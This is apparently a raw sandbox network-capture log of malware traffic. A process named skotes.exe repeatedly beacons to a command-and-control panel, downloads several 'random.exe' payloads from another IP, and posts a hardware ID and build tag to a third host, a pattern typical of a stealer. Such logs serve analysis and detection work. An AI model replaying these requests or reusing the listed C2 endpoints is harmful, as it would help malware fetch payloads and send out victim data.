Nov 19, 2024 22:09:16.496026039 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:09:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	50270	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:09:20.157233000 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:09:20.371349096 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:09:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	50273	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:09:22.204060078 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:09:22.411607981 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:09:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	50274	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:09:24.141951084 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:09:24.360770941 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:09:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	50276	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:09:26.185492992 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:09:26.390860081 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:09:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	50277	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:09:28.121671915 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:09:28.333389044 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:09:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	50278	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:09:30.176026106 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:09:30.389219046 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:09:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	50279	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:09:32.102262020 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:09:32.314460993 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:09:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	50280	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:09:35.712449074 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:09:35.921835899 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:09:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	50281	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:09:37.639460087 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:09:37.853861094 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:09:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	50285	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:09:39.687357903 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:09:39.892983913 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:09:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	50286	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:09:41.627537012 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:09:41.855118036 CET	558	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:09:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 66 0d 0a 20 3c 63 3e 31 30 30 37 35 30 31 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 37 35 30 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 37 35 30 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 37 35 30 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16f <c>1007501001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1007502001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1007503001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1007504001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	50287	185.215.113.16	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:09:42.068825006 CET	139	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Tue, 19 Nov 2024 21:01:46 GMT If-None-Match: "673cfcba-1ca600"
Nov 19, 2024 22:09:42.276128054 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:09:42 GMT Last-Modified: Tue, 19 Nov 2024 21:01:46 GMT Connection: keep-alive ETag: "673cfcba-1ca600"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	50288	185.215.113.16	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:09:43.291013956 CET	139	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Tue, 19 Nov 2024 21:01:46 GMT If-None-Match: "673cfcba-1ca600"
Nov 19, 2024 22:09:43.498411894 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:09:43 GMT Last-Modified: Tue, 19 Nov 2024 21:01:46 GMT Connection: keep-alive ETag: "673cfcba-1ca600"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	50289	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:09:47.239722013 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 65 30 3d 31 30 30 37 35 30 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e0=1007501001&unit=246122658369
Nov 19, 2024 22:09:47.456070900 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:09:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	50290	185.215.113.16	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:09:47.669118881 CET	140	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Tue, 19 Nov 2024 21:01:53 GMT If-None-Match: "673cfcc1-1b5a00"
Nov 19, 2024 22:09:47.876456022 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:09:47 GMT Last-Modified: Tue, 19 Nov 2024 21:01:53 GMT Connection: keep-alive ETag: "673cfcc1-1b5a00"

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	50291	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:09:48.900340080 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 19, 2024 22:09:49.106448889 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:09:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 22:09:49.109075069 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJEHDHIEGIIIDHIDHDHJ Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 44 42 43 46 38 36 38 36 46 32 37 32 30 32 39 37 34 31 31 31 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 2d 2d 0d 0a Data Ascii: ------KJEHDHIEGIIIDHIDHDHJContent-Disposition: form-data; name="hwid"FDBCF8686F272029741119------KJEHDHIEGIIIDHIDHDHJContent-Disposition: form-data; name="build"mars------KJEHDHIEGIIIDHIDHDHJ--
Nov 19, 2024 22:09:49.317224026 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:09:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	50292	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:09:50.280216932 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 35 30 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007502001&unit=246122658369
Nov 19, 2024 22:09:50.490638018 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:09:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	50293	185.215.113.16	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:09:50.712927103 CET	138	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Tue, 19 Nov 2024 21:00:00 GMT If-None-Match: "673cfc50-e1400"
Nov 19, 2024 22:09:50.922825098 CET	191	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:09:50 GMT Last-Modified: Tue, 19 Nov 2024 21:00:00 GMT Connection: keep-alive ETag: "673cfc50-e1400"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	50294	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:09:53.342979908 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 35 30 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007503001&unit=246122658369
Nov 19, 2024 22:09:53.555551052 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:09:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	50295	185.215.113.16	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:09:53.775680065 CET	138	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Tue, 19 Nov 2024 21:00:28 GMT If-None-Match: "673cfc6c-2a3800"
Nov 19, 2024 22:09:53.986685991 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:09:53 GMT Last-Modified: Tue, 19 Nov 2024 21:00:28 GMT Connection: keep-alive ETag: "673cfc6c-2a3800"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	50296	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:09:56.408608913 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 35 30 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007504001&unit=246122658369
Nov 19, 2024 22:09:56.625152111 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:09:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	50297	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:09:58.466835976 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:09:58.674299002 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:09:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	50298	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:10:00.392054081 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:10:00.608043909 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:10:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	50299	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:10:02.355189085 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
